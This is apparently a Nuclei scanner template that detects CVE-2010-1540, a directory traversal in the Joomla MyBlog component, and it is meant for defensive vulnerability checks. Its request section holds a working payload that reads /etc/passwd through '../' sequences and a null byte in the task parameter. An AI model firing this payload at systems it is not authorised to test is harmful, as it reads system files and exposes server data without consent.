id: CVE-2010-1540

info:
  name: Joomla! Component com_blog - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the directory traversal vulnerability in com_blog component.
  reference:
    - https://www.exploit-db.com/exploits/11625
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1540
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1540
    cwe-id: CWE-22
    epss-score: 0.08233
    epss-percentile: 0.94326
    cpe: cpe:2.3:a:myblog:com_myblog:3.0.329:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: myblog
    product: com_myblog
  tags: cve2010,cve,joomla,lfi,edb,myblog,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022002b78037f1ae30e59d0d4d4e02235f5f649f6f3ee60616616a74fdd6cef1c4ed022100d911e5b726b5d3ea923bfc4980f978d8f6ce8a40ad1d910f6da8001aa97e8e8f:922c64590222798bb761d5b6d8e72950